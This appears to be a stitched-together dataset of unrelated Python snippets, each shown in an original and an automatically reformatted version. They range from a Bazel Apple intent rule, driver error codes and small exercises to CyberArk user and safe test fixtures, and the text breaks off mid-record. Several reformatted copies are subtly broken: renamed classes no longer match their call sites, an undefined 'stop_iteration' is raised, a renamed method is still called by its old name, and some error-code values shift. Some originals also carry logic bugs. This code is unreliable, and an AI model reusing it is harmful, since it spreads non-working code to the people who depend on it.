objc_public_header = ctx.actions.declare_file('{}.h'.format(ctx.attr.header_name))
platform_prerequisites = platform_support.platform_prerequisites(apple_fragment=ctx.fragments.apple, config_vars=ctx.var, device_families=None, disabled_features=ctx.disabled_features, explicit_minimum_deployment_os=None, explicit_minimum_os=None, features=ctx.features, objc_fragment=None, platform_type_string=str(ctx.fragments.apple.single_arch_platform.platform_type), uses_swift=False, xcode_path_wrapper=ctx.executable._xcode_path_wrapper, xcode_version_config=ctx.attr._xcode_config[apple_common.XcodeVersionConfig])
apple_toolchain_info = ctx.attr._toolchain[AppleSupportToolchainInfo]
resource_actions.generate_intent_classes_sources(actions=ctx.actions, input_file=ctx.file.src, swift_output_src=swift_output_src, objc_output_srcs=objc_output_srcs, objc_output_hdrs=objc_output_hdrs, objc_public_header=objc_public_header, language=ctx.attr.language, class_prefix=ctx.attr.class_prefix, swift_version=ctx.attr.swift_version, class_visibility=ctx.attr.class_visibility, platform_prerequisites=platform_prerequisites, resolved_xctoolrunner=apple_toolchain_info.resolved_xctoolrunner)
if is_swift:
return [default_info(files=depset([swift_output_src]))]
return [default_info(files=depset([objc_output_srcs, objc_output_hdrs, objc_public_header])), output_group_info(srcs=depset([objc_output_srcs]), hdrs=depset([objc_output_hdrs, objc_public_header]))]
apple_intent_library = rule(implementation=_apple_intent_library_impl, attrs=dicts.add(apple_support.action_required_attrs(), {'src': attr.label(allow_single_file=['.intentdefinition'], mandatory=True, doc='\nLabel to a single `.intentdefinition` files from which to generate sources files.\n'), 'language': attr.string(mandatory=True, values=['Objective-C', 'Swift'], doc='Language of generated classes ("Objective-C", "Swift")'), 'class_prefix': attr.string(doc='Class prefix to use for the generated classes.'), 'swift_version': attr.string(doc='Version of Swift to use for the generated classes.'), 'class_visibility': attr.string(values=['public', 'private', 'project'], default='', doc='Visibility attribute for the generated classes ("public", "private", "project").'), 'header_name': attr.string(doc='Name of the public header file (only when using Objective-C).'), '_toolchain': attr.label(default=label('@build_bazel_rules_apple//apple/internal:toolchain_support'), providers=[[AppleSupportToolchainInfo]])}), output_to_genfiles=True, fragments=['apple'], doc='\nThis rule supports the integration of Intents `.intentdefinition` files into Apple rules.\nIt takes a single `.intentdefinition` file and creates a target that can be added as a dependency from `objc_library` or\n`swift_library` targets. It accepts the regular `objc_library` attributes too.\nThis target generates a header named `<target_name>.h` that can be imported from within the package where this target\nresides. For example, if this target\'s label is `//my/package:intent`, you can import the header as\n`#import "my/package/intent.h"`.\n') |
class errors():
# ***********************************************************************
#
# SpcErr.h = (c) Spectrum GmbH, 2006
#
# ***********************************************************************
#
# error codes of the Spectrum drivers. Until may 2004 this file was
# errors.h. Name has been changed because errors.h has been already in
# use by windows.
#
# ***********************************************************************
ERR_OK = 0x0000 # 0 No Error
ERR_INIT = 0x0001 # 1 Initialisation error
ERR_NR = 0x0002 # 2 Board number out of range
ERR_TYP = 0x0003 # 3 Unknown board Typ
ERR_FNCNOTSUPPORTED =0x0004 # 4 This function is not supported by the hardware
ERR_BRDREMAP = 0x0005 # 5 The Board Index Remap table is wrong
ERR_KERNELVERSION = 0x0006 # 6 The kernel version and the dll version are mismatching
ERR_HWDRVVERSION = 0x0007 # 7 The driver version doesn't match the minimum requirements of the board
ERR_ADRRANGE = 0x0008 # 8 The address range is disabled (fatal error)
ERR_INVALIDHANDLE = 0x0009 # 9 Handle not valid
ERR_BOARDNOTFOUND = 0x000A # 10 Card mit given name hasn't been found
ERR_BOARDINUSE = 0x000B # 11 Card mit given name is already in use by another application
ERR_LASTERR = 0x0010 # 16 Old Error waiting to be read
ERR_ABORT = 0x0020 # 32 Abort of wait function
ERR_BOARDLOCKED = 0x0030 # 48 Board acess already locked by another process. it's not possible to acess one board through multiple processes
ERR_REG = 0x0100 #256 unknown Register for this Board
ERR_VALUE = 0x0101 #257 Not a possible value in this state
ERR_FEATURE = 0x0102 #258 Feature of the board not installed
ERR_SEQUENCE = 0x0103 #259 Channel sequence not allowed
ERR_READABORT = 0x0104 #260 Read not allowed after abort
ERR_NOACCESS = 0x0105 #261 Access to this register denied
ERR_POWERDOWN = 0x0106 #262 not allowed in Powerdown mode
ERR_TIMEOUT = 0x0107 #263 timeout occured while waiting for interrupt
ERR_CALLTYPE = 0x0108 #264 call type (int32 mux) is not allowed for this register
ERR_EXCEEDSINT32 = 0x0109 #265 return value is int32 but software register exceeds the 32 bit integer range -> use 2x32 or 64
ERR_NOWRITEALLOWED = 0x010A #267 register cannot be written, read only
ERR_SETUP = 0x010B #268 the setup isn't valid
ERR_CHANNEL = 0x0110 #272 Wrong number of Channel to be read out
ERR_NOTIFYSIZE = 0x0111 #273 Notify block size isn't valid
ERR_RUNNING = 0x0120 #288 Board is running, changes not allowed
ERR_ADJUST = 0x0130 #304 Auto Adjust has an error
ERR_PRETRIGGERLEN = 0x0140 #320 pretrigger length exceeds allowed values
ERR_DIRMISMATCH = 0x0141 #321 direction of card and memory transfer mismatch
ERR_POSTEXCDSEGMENT= 0x0142 #322 posttrigger exceeds segment size in multiple recording mode
ERR_SEGMENTINMEM = 0x0143 #323 memsize is not a multiple of segmentsize, last segment hasn't full length
ERR_MULTIPLEPW = 0x0144 #324 multiple pulsewidth counters used but card only supports one at the time
ERR_NOCHANNELPWOR = 0x0145 #325 channel pulsewidth can't be OR'd
ERR_ANDORMASKOVRLAP= 0x0146 #326 AND mask and OR mask overlap in at least one channel -> not possible
ERR_ANDMASKEDGE = 0x0147 #327 AND mask together with edge trigger mode is not allowed
ERR_ORMASKLEVEL = 0x0148 #328 OR mask together with level trigger mode is not allowed
ERR_EDGEPERMOD = 0x0149 #329 All trigger edges must be simular on one module
ERR_DOLEVELMINDIFF = 0x014A #330 minimum difference between low output level and high output level not reached
ERR_STARHUBENABLE = 0x014B #331 card holding the star-hub must be active for sync
ERR_PATPWSMALLEDGE = 0x014C #332 Combination of pattern with pulsewidht smaller and edge is not allowed
ERR_NOPCI = 0x0200 #512 No PCI bus found
ERR_PCIVERSION = 0x0201 #513 Wrong PCI bus version
ERR_PCINOBOARDS = 0x0202 #514 No Spectrum PCI boards found
ERR_PCICHECKSUM = 0x0203 #515 Checksum error on PCI board
ERR_DMALOCKED = 0x0204 #516 DMA buffer in use, try later
ERR_MEMALLOC = 0x0205 #517 Memory Allocation error
ERR_EEPROMLOAD = 0x0206 #518 EEProm load error, timeout occured
ERR_CARDNOSUPPORT = 0x0207 #519 no support for that card in the library
ERR_FIFOBUFOVERRUN = 0x0300 #768 Buffer overrun in FIFO mode
ERR_FIFOHWOVERRUN = 0x0301 #769 Hardware buffer overrun in FIFO mode
ERR_FIFOFINISHED = 0x0302 #770 FIFO transfer hs been finished. Number of buffers has been transferred
ERR_FIFOSETUP = 0x0309 #777 FIFO setup not possible, transfer rate to high (max 250 MB/s)
ERR_TIMESTAMP_SYNC = 0x0310 #784 Synchronisation to ref clock failed
ERR_STARHUB = 0x0320 #800 Autorouting of Starhub failed
ERR_INTERNAL_ERROR = 0xFFFF #65535 Internal hardware error detected, please check for update
| class Errors:
err_ok = 0
err_init = 1
err_nr = 2
err_typ = 3
err_fncnotsupported = 4
err_brdremap = 5
err_kernelversion = 6
err_hwdrvversion = 7
err_adrrange = 8
err_invalidhandle = 9
err_boardnotfound = 10
err_boardinuse = 11
err_lasterr = 16
err_abort = 32
err_boardlocked = 48
err_reg = 256
err_value = 257
err_feature = 258
err_sequence = 259
err_readabort = 260
err_noaccess = 261
err_powerdown = 262
err_timeout = 263
err_calltype = 264
err_exceedsint32 = 265
err_nowriteallowed = 266
err_setup = 267
err_channel = 272
err_notifysize = 273
err_running = 288
err_adjust = 304
err_pretriggerlen = 320
err_dirmismatch = 321
err_postexcdsegment = 322
err_segmentinmem = 323
err_multiplepw = 324
err_nochannelpwor = 325
err_andormaskovrlap = 326
err_andmaskedge = 327
err_ormasklevel = 328
err_edgepermod = 329
err_dolevelmindiff = 330
err_starhubenable = 331
err_patpwsmalledge = 332
err_nopci = 512
err_pciversion = 513
err_pcinoboards = 514
err_pcichecksum = 515
err_dmalocked = 516
err_memalloc = 517
err_eepromload = 518
err_cardnosupport = 519
err_fifobufoverrun = 768
err_fifohwoverrun = 769
err_fifofinished = 770
err_fifosetup = 777
err_timestamp_sync = 784
err_starhub = 800
err_internal_error = 65535 |
def get_data_odor_num_val():
# get data
odor = ''
data = []
with open('mushrooms_data.txt') as f:
lines = f.readlines()
for line in lines:
odor = line[10]
if odor == 'a': # almond
data.append(1)
elif odor == 'l': # anise
data.append(2)
elif odor == 'c': # creosote
data.append(3)
elif odor == 'y': # fishy
data.append(-1)
elif odor == 'f': # foul
data.append(-2)
elif odor == 'm': # musty
data.append(-3)
elif odor == 'n': # none
data.append(0)
elif odor == 'p': # pungent
data.append(4)
elif odor == 's': # spicy
data.append(5)
data_size = len(data)
learn_size = round(data_size*0.8)
learn_data = data[0:learn_size]
test_data = data[learn_size:]
print(test_data)
| def get_data_odor_num_val():
odor = ''
data = []
with open('mushrooms_data.txt') as f:
lines = f.readlines()
for line in lines:
odor = line[10]
if odor == 'a':
data.append(1)
elif odor == 'l':
data.append(2)
elif odor == 'c':
data.append(3)
elif odor == 'y':
data.append(-1)
elif odor == 'f':
data.append(-2)
elif odor == 'm':
data.append(-3)
elif odor == 'n':
data.append(0)
elif odor == 'p':
data.append(4)
elif odor == 's':
data.append(5)
data_size = len(data)
learn_size = round(data_size * 0.8)
learn_data = data[0:learn_size]
test_data = data[learn_size:]
print(test_data) |
# This problem can be solved analytically, but we can just as well use
# a for loop. For a given shell of side n, the value at the top right
# vertex is given by the area, n^2. Moving anticlockwise, the values at
# the other vertex is always (n - 1) less than the previous vertex.
n_max = 1001
ans = 1 + sum(4*n**2 - 6*(n - 1) for n in range(3, n_max + 1, 2))
print(ans)
# Copyright Junipyr. All rights reserved.
# https://github.com/Junipyr | n_max = 1001
ans = 1 + sum((4 * n ** 2 - 6 * (n - 1) for n in range(3, n_max + 1, 2)))
print(ans) |
#Create a converter that changes binary numbers to decimals and vice versa
def b_to_d(number):
var = str(number)[::-1]
counter = 0
decimal = 0
while counter < len(var):
if int(var[counter]) == 1:
decimal += 2**counter
counter += 1
return decimal
def d_to_b(number):
binary = ''
while number > 0:
binary += str(number % 2)
number = number / 2
return binary[::-1]
print("Enter 0 for binary to decimal conversion")
print("Enter 1 for decimal to binary conversion")
choice = input("Enter the conversion type: ")
if choice == 0:
number = input("Enter the number: ")
print("The decimal of %s is %s" % (number, b_to_d(number)))
elif choice == 1:
number = input("Enter the number: ")
print ("The binary of %s is %s" % (number, d_to_b(number)))
else:
print("Invalid choice")
| def b_to_d(number):
var = str(number)[::-1]
counter = 0
decimal = 0
while counter < len(var):
if int(var[counter]) == 1:
decimal += 2 ** counter
counter += 1
return decimal
def d_to_b(number):
binary = ''
while number > 0:
binary += str(number % 2)
number = number / 2
return binary[::-1]
print('Enter 0 for binary to decimal conversion')
print('Enter 1 for decimal to binary conversion')
choice = input('Enter the conversion type: ')
if choice == 0:
number = input('Enter the number: ')
print('The decimal of %s is %s' % (number, b_to_d(number)))
elif choice == 1:
number = input('Enter the number: ')
print('The binary of %s is %s' % (number, d_to_b(number)))
else:
print('Invalid choice') |
#file operations
with open('test.txt', 'r') as f:
#print('file contents using f.read()', f.read())
#print('file contencts using f.readlines()', f.readlines())
#print('file read 1 line using f.readline', f.readline())
print('read line by line, so that there is no memeory issue')
for line in f:
print(line, end = '')
print()
with open('test.txt', 'r') as f:
print('printing using specific size')
size_to_read = 10
f_contents = f.read(size_to_read)
while len(f_contents) > 0:
print(f_contents, end = '*')
f_contents = f.read(size_to_read)
print('WRITING to a file')
with open('test1.txt', 'w') as f:
f.write('test file') | with open('test.txt', 'r') as f:
print('read line by line, so that there is no memeory issue')
for line in f:
print(line, end='')
print()
with open('test.txt', 'r') as f:
print('printing using specific size')
size_to_read = 10
f_contents = f.read(size_to_read)
while len(f_contents) > 0:
print(f_contents, end='*')
f_contents = f.read(size_to_read)
print('WRITING to a file')
with open('test1.txt', 'w') as f:
f.write('test file') |
class Solution(object):
def combinationSum2(self, candidates, target):
"""
:type candidates: List[int]
:type target: int
:rtype: List[List[int]]
"""
candidates.sort()
return self.adding(candidates, 0, target, [])
def adding(self, candidates, startIndex, target, output):
if target == 0:
return [output]
result = []
for i in range(startIndex, len(candidates)):
num = candidates[i]
if num > target:
break
if i == startIndex or candidates[i-1] != num:
result += self.adding(candidates, i + 1, target - num, output + [num])
return result
class Solution2(object):
def combinationSum2(self, candidates, target):
"""
:type candidates: List[int]
:type target: int
:rtype: List[List[int]]
"""
return self.helper(sorted(candidates), target)
def helper(self, candidates, target):
if target == 0:
return [[]]
if not candidates:
return []
result = []
prev = float('-inf')
for i in range(len(candidates)):
candidate = candidates[i]
if candidate > target:
break
if prev != candidate:
rhs = self.combinationSum2(candidates[i+1:], target-candidate)
for element in rhs:
result.append([candidate]+element)
prev = candidate
return result | class Solution(object):
def combination_sum2(self, candidates, target):
"""
:type candidates: List[int]
:type target: int
:rtype: List[List[int]]
"""
candidates.sort()
return self.adding(candidates, 0, target, [])
def adding(self, candidates, startIndex, target, output):
if target == 0:
return [output]
result = []
for i in range(startIndex, len(candidates)):
num = candidates[i]
if num > target:
break
if i == startIndex or candidates[i - 1] != num:
result += self.adding(candidates, i + 1, target - num, output + [num])
return result
class Solution2(object):
def combination_sum2(self, candidates, target):
"""
:type candidates: List[int]
:type target: int
:rtype: List[List[int]]
"""
return self.helper(sorted(candidates), target)
def helper(self, candidates, target):
if target == 0:
return [[]]
if not candidates:
return []
result = []
prev = float('-inf')
for i in range(len(candidates)):
candidate = candidates[i]
if candidate > target:
break
if prev != candidate:
rhs = self.combinationSum2(candidates[i + 1:], target - candidate)
for element in rhs:
result.append([candidate] + element)
prev = candidate
return result |
"""
This program asks the user for
1) the name of a text file
2) a line number
and prints the text from that line of the file.
"""
def main():
try:
# Get a filename from the user.
filename = input("Enter the name of text file: ")
# Read the text file specified by the user into a list.
text_lines = read_list(filename)
# Get a line number from the user.
linenum = int(input("Enter a line number: "))
# Get the line that the user requested from the list.
line = text_lines[linenum - 1]
# Print the line that the user requested.
print()
print(line)
except FileNotFoundError as not_found_err:
# This code will be executed if the user enters
# the name of a file that doesn't exist.
print()
print(type(not_found_err).__name__, not_found_err, sep=": ")
print(f"The file {filename} doesn't exist.")
print("Run the program again and enter the" \
" name of an existing file.")
except PermissionError as perm_err:
# This code will be executed if the user enters the name
# of a file and doesn't have permission to read that file.
print()
print(type(perm_err).__name__, perm_err, sep=": ")
print(f"You don't have permission to read {filename}.")
print("Run the program again and enter the name" \
" of a file that you are allowed to read.")
except ValueError as val_err:
# This code will be executed if the user enters
# an invalid integer for the line number.
print()
print(type(val_err).__name__, val_err, sep=": ")
print("You entered an invalid integer for the line number.")
print("Run the program again and enter an integer for" \
" the line number.")
except IndexError as index_err:
# This code will be executed if the user enters a valid integer
# for the line number, but the integer is negative or the
# integer is greater than the number of lines in the file.
print()
print(type(index_err).__name__, index_err, sep=": ")
length = len(text_lines)
if linenum < 0:
print(f"{linenum} is a negative integer.")
else:
print(f"{linenum} is greater than the number" \
f" of lines in {filename}.")
print(f"There are only {length} lines in {filename}.")
print(f"Run the program again and enter a line number" \
f" between 1 and {length}.")
except Exception as excep:
# This code will be executed if some
# other type of exception occurs.
print()
print(type(excep).__name__, excep, sep=": ")
def read_list(filename):
"""Read the contents of a text file into a list
and return the list that contains the lines of text.
Parameter filename: the name of the text file to read
Return: a list of strings
"""
# Create an empty list named text_lines.
text_lines = []
# Open the text file for reading and store a reference
# to the opened file in a variable named text_file.
with open(filename, "rt") as text_file:
# Read the contents of the text
# file one line at a time.
for line in text_file:
# Remove white space, if there is any,
# from the beginning and end of the line.
clean_line = line.strip()
# Append the clean line of text
# onto the end of the list.
text_lines.append(clean_line)
# Return the list that contains the lines of text.
return text_lines
# If this file was executed like this:
# > python teach_solution.py
# then call the main function. However, if this file
# was simply imported, then skip the call to main.
if __name__ == "__main__":
main()
| """
This program asks the user for
1) the name of a text file
2) a line number
and prints the text from that line of the file.
"""
def main():
try:
filename = input('Enter the name of text file: ')
text_lines = read_list(filename)
linenum = int(input('Enter a line number: '))
line = text_lines[linenum - 1]
print()
print(line)
except FileNotFoundError as not_found_err:
print()
print(type(not_found_err).__name__, not_found_err, sep=': ')
print(f"The file {filename} doesn't exist.")
print('Run the program again and enter the name of an existing file.')
except PermissionError as perm_err:
print()
print(type(perm_err).__name__, perm_err, sep=': ')
print(f"You don't have permission to read {filename}.")
print('Run the program again and enter the name of a file that you are allowed to read.')
except ValueError as val_err:
print()
print(type(val_err).__name__, val_err, sep=': ')
print('You entered an invalid integer for the line number.')
print('Run the program again and enter an integer for the line number.')
except IndexError as index_err:
print()
print(type(index_err).__name__, index_err, sep=': ')
length = len(text_lines)
if linenum < 0:
print(f'{linenum} is a negative integer.')
else:
print(f'{linenum} is greater than the number of lines in {filename}.')
print(f'There are only {length} lines in {filename}.')
print(f'Run the program again and enter a line number between 1 and {length}.')
except Exception as excep:
print()
print(type(excep).__name__, excep, sep=': ')
def read_list(filename):
"""Read the contents of a text file into a list
and return the list that contains the lines of text.
Parameter filename: the name of the text file to read
Return: a list of strings
"""
text_lines = []
with open(filename, 'rt') as text_file:
for line in text_file:
clean_line = line.strip()
text_lines.append(clean_line)
return text_lines
if __name__ == '__main__':
main() |
_base_ = [
'../../../_base_/datasets/fine_tune_based/few_shot_voc.py',
'../../../_base_/schedules/schedule.py', '../../tfa_r101_fpn.py',
'../../../_base_/default_runtime.py'
]
# classes splits are predefined in FewShotVOCDataset
# FewShotVOCDefaultDataset predefine ann_cfg for model reproducibility.
data = dict(
train=dict(
type='FewShotVOCDefaultDataset',
ann_cfg=[dict(method='TFA', setting='SPLIT2_10SHOT')],
num_novel_shots=10,
num_base_shots=10,
classes='ALL_CLASSES_SPLIT2'),
val=dict(classes='ALL_CLASSES_SPLIT2'),
test=dict(classes='ALL_CLASSES_SPLIT2'))
evaluation = dict(
interval=40000,
class_splits=['BASE_CLASSES_SPLIT2', 'NOVEL_CLASSES_SPLIT2'])
checkpoint_config = dict(interval=40000)
optimizer = dict(lr=0.005)
lr_config = dict(
warmup_iters=10, step=[
36000,
])
runner = dict(max_iters=40000)
# base model needs to be initialized with following script:
# tools/detection/misc/initialize_bbox_head.py
# please refer to configs/detection/tfa/README.md for more details.
load_from = ('work_dirs/tfa_r101_fpn_voc-split2_base-training/'
'base_model_random_init_bbox_head.pth')
| _base_ = ['../../../_base_/datasets/fine_tune_based/few_shot_voc.py', '../../../_base_/schedules/schedule.py', '../../tfa_r101_fpn.py', '../../../_base_/default_runtime.py']
data = dict(train=dict(type='FewShotVOCDefaultDataset', ann_cfg=[dict(method='TFA', setting='SPLIT2_10SHOT')], num_novel_shots=10, num_base_shots=10, classes='ALL_CLASSES_SPLIT2'), val=dict(classes='ALL_CLASSES_SPLIT2'), test=dict(classes='ALL_CLASSES_SPLIT2'))
evaluation = dict(interval=40000, class_splits=['BASE_CLASSES_SPLIT2', 'NOVEL_CLASSES_SPLIT2'])
checkpoint_config = dict(interval=40000)
optimizer = dict(lr=0.005)
lr_config = dict(warmup_iters=10, step=[36000])
runner = dict(max_iters=40000)
load_from = 'work_dirs/tfa_r101_fpn_voc-split2_base-training/base_model_random_init_bbox_head.pth' |
class LibraryException(Exception):
pass
class BookException(Exception):
pass
| class Libraryexception(Exception):
pass
class Bookexception(Exception):
pass |
a,b=map(int,input().split())
if b==0 and a>0:
print("Gold")
elif a==0 and b>0:
print("Silver")
elif a>0 and b>0:
print("Alloy")
| (a, b) = map(int, input().split())
if b == 0 and a > 0:
print('Gold')
elif a == 0 and b > 0:
print('Silver')
elif a > 0 and b > 0:
print('Alloy') |
n = int(input())
h = int(input())
w = int(input())
print((n-h+1) * (n-w+1)) | n = int(input())
h = int(input())
w = int(input())
print((n - h + 1) * (n - w + 1)) |
class custom_range:
def __init__(self, start: int, end: int) -> None:
self.start = start
self.end = end
def __iter__(self) -> iter:
return self
def __next__(self) -> int:
if self.start <= self.end:
i = self.start
self.start += 1
return i
raise StopIteration()
if __name__ == '__main__':
one_to_ten = custom_range(1, 10)
for num in one_to_ten:
print(num)
| class Custom_Range:
def __init__(self, start: int, end: int) -> None:
self.start = start
self.end = end
def __iter__(self) -> iter:
return self
def __next__(self) -> int:
if self.start <= self.end:
i = self.start
self.start += 1
return i
raise stop_iteration()
if __name__ == '__main__':
one_to_ten = custom_range(1, 10)
for num in one_to_ten:
print(num) |
ADD_USER_CONTEXT = {
"CyberArkPAS.Users(val.id == obj.id)": {
"authenticationMethod": [
"AuthTypePass"
],
"businessAddress": {
"workCity": "",
"workCountry": "",
"workState": "",
"workStreet": "",
"workZip": ""
},
"changePassOnNextLogon": True,
"componentUser": False,
"description": "new user for test",
"distinguishedName": "",
"enableUser": True,
"expiryDate": -62135578800,
"groupsMembership": [],
"id": 123,
"internet": {
"businessEmail": "usertest@test.com",
"homeEmail": "",
"homePage": "",
"otherEmail": ""
},
"lastSuccessfulLoginDate": 1594756313,
"location": "\\",
"passwordNeverExpires": False,
"personalDetails": {
"city": "",
"country": "",
"department": "",
"firstName": "user",
"lastName": "test",
"middleName": "",
"organization": "",
"profession": "testing integrations",
"state": "",
"street": "",
"title": "",
"zip": ""
},
"phones": {
"businessNumber": "",
"cellularNumber": "",
"faxNumber": "",
"homeNumber": "",
"pagerNumber": ""
},
"source": "CyberArkPAS",
"suspended": False,
"unAuthorizedInterfaces": [],
"userType": "EPVUser",
"username": "TestUser",
"vaultAuthorization": []
}
}
UPDATE_USER_CONTEXT = {
"CyberArkPAS.Users(val.id == obj.id)": {
"authenticationMethod": [
"AuthTypePass"
],
"businessAddress": {
"workCity": "",
"workCountry": "",
"workState": "",
"workStreet": "",
"workZip": ""
},
"changePassOnNextLogon": True,
"componentUser": False,
"description": "updated description",
"distinguishedName": "",
"enableUser": True,
"expiryDate": -62135578800,
"groupsMembership": [],
"id": 123,
"internet": {
"businessEmail": "update@test.com",
"homeEmail": "",
"homePage": "",
"otherEmail": ""
},
"lastSuccessfulLoginDate": 1594756313,
"location": "\\",
"passwordNeverExpires": False,
"personalDetails": {
"city": "",
"country": "",
"department": "",
"firstName": "test1",
"lastName": "updated-name",
"middleName": "",
"organization": "",
"profession": "test1",
"state": "",
"street": "",
"title": "",
"zip": ""
},
"phones": {
"businessNumber": "",
"cellularNumber": "",
"faxNumber": "",
"homeNumber": "",
"pagerNumber": ""
},
"source": "CyberArkPAS",
"suspended": False,
"unAuthorizedInterfaces": [],
"userType": "EPVUser",
"username": "TestUser1",
"vaultAuthorization": []
}
}
GET_USERS_CONTEXT = {
"CyberArkPAS.Users(val.id == obj.id)": [
{
"componentUser": False,
"id": 2,
"location": "\\",
"personalDetails": {
"firstName": "",
"lastName": "",
"middleName": ""
},
"source": "CyberArkPAS",
"userType": "Built-InAdmins",
"username": "Administrator",
"vaultAuthorization": [
"AddUpdateUsers",
"AddSafes",
"AddNetworkAreas",
"ManageDirectoryMapping",
"ManageServerFileCategories",
"AuditUsers",
"BackupAllSafes",
"RestoreAllSafes",
"ResetUsersPasswords",
"ActivateUsers"
]
},
{
"componentUser": False,
"id": 3,
"location": "\\",
"personalDetails": {
"firstName": "",
"lastName": "",
"middleName": ""
},
"source": "CyberArkPAS",
"userType": "Built-InAdmins",
"username": "Auditor",
"vaultAuthorization": [
"AuditUsers"
]
}
]
}
ADD_SAFE_CONTEXT = {
"CyberArkPAS.Safes(val.SafeName == obj.SafeName)": {
"AutoPurgeEnabled": False,
"Description": "safe for tests",
"Location": "\\",
"ManagingCPM": "",
"NumberOfDaysRetention": 100,
"NumberOfVersionsRetention": None,
"OLACEnabled": True,
"SafeName": "TestSafe"
}
}
UPDATE_SAFE_CONTEXT = {
"CyberArkPAS.Safes(val.SafeName == obj.SafeName)": {
"AutoPurgeEnabled": False,
"Description": "UpdatedSafe",
"Location": "\\",
"ManagingCPM": "",
"NumberOfDaysRetention": 150,
"NumberOfVersionsRetention": None,
"OLACEnabled": True,
"SafeName": "UpdatedName"
}
}
GET_SAFE_BY_NAME_CONTEXT = {
"CyberArkPAS.Safes(val.SafeName == obj.SafeName)": {
"AutoPurgeEnabled": False,
"Description": "safe for tests",
"Location": "\\",
"ManagingCPM": "",
"NumberOfDaysRetention": 100,
"NumberOfVersionsRetention": None,
"OLACEnabled": True,
"SafeName": "TestSafe"
}
}
GET_LIST_SAFES_CONTEXT = {
"CyberArkPAS.Safes(val.SafeName == obj.SafeName)": [
{
"Description": "",
"Location": "\\",
"SafeName": "VaultInternal",
"SafeUrlId": "VaultInternal"
},
{
"Description": "",
"Location": "\\",
"SafeName": "Notification Engine",
"SafeUrlId": "Notification%20Engine"
}]}
ADD_SAFE_MEMBER_CONTEXT = {
"CyberArkPAS.Safes.Members": {
"MemberName": "TestUser",
"MembershipExpirationDate": "",
"Permissions": [
{
"Key": "UseAccounts",
"Value": False
},
{
"Key": "RetrieveAccounts",
"Value": False
},
{
"Key": "ListAccounts",
"Value": False
},
{
"Key": "AddAccounts",
"Value": False
},
{
"Key": "UpdateAccountContent",
"Value": False
},
{
"Key": "UpdateAccountProperties",
"Value": False
},
{
"Key": "InitiateCPMAccountManagementOperations",
"Value": False
},
{
"Key": "SpecifyNextAccountContent",
"Value": False
},
{
"Key": "RenameAccounts",
"Value": False
},
{
"Key": "DeleteAccounts",
"Value": False
},
{
"Key": "UnlockAccounts",
"Value": False
},
{
"Key": "ManageSafe",
"Value": False
},
{
"Key": "ManageSafeMembers",
"Value": False
},
{
"Key": "BackupSafe",
"Value": False
},
{
"Key": "ViewAuditLog",
"Value": False
},
{
"Key": "ViewSafeMembers",
"Value": False
},
{
"Key": "AccessWithoutConfirmation",
"Value": False
},
{
"Key": "CreateFolders",
"Value": False
},
{
"Key": "DeleteFolders",
"Value": False
},
{
"Key": "MoveAccountsAndFolders",
"Value": False
},
{
"Key": "RequestsAuthorizationLevel",
"Value": 0
}
],
"SearchIn": "vault"
}
}
UPDATE_SAFE_MEMBER_CONTEXT = {
"CyberArkPAS.Safes.Members(val.TestUser == obj.TestUser)": {
"MemberName": "TestUser",
"MembershipExpirationDate": "",
"Permissions": [
{
"Key": "UseAccounts",
"Value": True
},
{
"Key": "RetrieveAccounts",
"Value": False
},
{
"Key": "ListAccounts",
"Value": False
},
{
"Key": "AddAccounts",
"Value": False
},
{
"Key": "UpdateAccountContent",
"Value": False
},
{
"Key": "UpdateAccountProperties",
"Value": False
},
{
"Key": "InitiateCPMAccountManagementOperations",
"Value": False
},
{
"Key": "SpecifyNextAccountContent",
"Value": False
},
{
"Key": "RenameAccounts",
"Value": False
},
{
"Key": "DeleteAccounts",
"Value": False
},
{
"Key": "UnlockAccounts",
"Value": False
},
{
"Key": "ManageSafe",
"Value": False
},
{
"Key": "ManageSafeMembers",
"Value": False
},
{
"Key": "BackupSafe",
"Value": False
},
{
"Key": "ViewAuditLog",
"Value": False
},
{
"Key": "ViewSafeMembers",
"Value": False
},
{
"Key": "AccessWithoutConfirmation",
"Value": False
},
{
"Key": "CreateFolders",
"Value": False
},
{
"Key": "DeleteFolders",
"Value": False
},
{
"Key": "MoveAccountsAndFolders",
"Value": False
},
{
"Key": "RequestsAuthorizationLevel",
"Value": 0
}
],
"SearchIn": "vault"
}
}
LIST_SAFE_MEMBER_CONTEXT = {
"CyberArkPAS.Safes.Members(val.MemberName == obj.MemberName)": [
{
"IsExpiredMembershipEnable": False,
"IsPredefinedUser": True,
"MemberName": "Administrator",
"MemberType": "User",
"MembershipExpirationDate": None,
"Permissions": {
"AccessWithoutConfirmation": True,
"AddAccounts": True,
"BackupSafe": True,
"CreateFolders": True,
"DeleteAccounts": True,
"DeleteFolders": True,
"InitiateCPMAccountManagementOperations": True,
"ListAccounts": True,
"ManageSafe": True,
"ManageSafeMembers": True,
"MoveAccountsAndFolders": True,
"RenameAccounts": True,
"RequestsAuthorizationLevel1": True,
"RequestsAuthorizationLevel2": False,
"RetrieveAccounts": True,
"SpecifyNextAccountContent": True,
"UnlockAccounts": True,
"UpdateAccountContent": True,
"UpdateAccountProperties": True,
"UseAccounts": True,
"ViewAuditLog": True,
"ViewSafeMembers": True
}
},
{
"IsExpiredMembershipEnable": False,
"IsPredefinedUser": True,
"MemberName": "Master",
"MemberType": "User",
"MembershipExpirationDate": None,
"Permissions": {
"AccessWithoutConfirmation": True,
"AddAccounts": True,
"BackupSafe": True,
"CreateFolders": True,
"DeleteAccounts": True,
"DeleteFolders": True,
"InitiateCPMAccountManagementOperations": True,
"ListAccounts": True,
"ManageSafe": True,
"ManageSafeMembers": True,
"MoveAccountsAndFolders": True,
"RenameAccounts": True,
"RequestsAuthorizationLevel1": False,
"RequestsAuthorizationLevel2": False,
"RetrieveAccounts": True,
"SpecifyNextAccountContent": True,
"UnlockAccounts": True,
"UpdateAccountContent": True,
"UpdateAccountProperties": True,
"UseAccounts": True,
"ViewAuditLog": True,
"ViewSafeMembers": True
}
}]
}
ADD_ACCOUNT_CONTEXT = {
"CyberArkPAS.Accounts(val.id == obj.id)": {
"address": "/",
"categoryModificationTime": 1594835018,
"createdTime": 1594838456,
"id": "77_4",
"name": "TestAccount1",
"platformId": "WinServerLocal",
"safeName": "TestSafe",
"secretManagement": {
"automaticManagementEnabled": True,
"lastModifiedTime": 1594824056
},
"secretType": "password",
"userName": "TestUser"
}
}
UPDATE_ACCOUNT_CONTEXT = {
"CyberArkPAS.Accounts(val.id == obj.id)": {
"address": "/",
"categoryModificationTime": 1594835018,
"createdTime": 1594838456,
"id": "77_4",
"name": "NewName",
"platformId": "WinServerLocal",
"safeName": "TestSafe",
"secretManagement": {
"automaticManagementEnabled": True,
"lastModifiedTime": 1594824056
},
"secretType": "password",
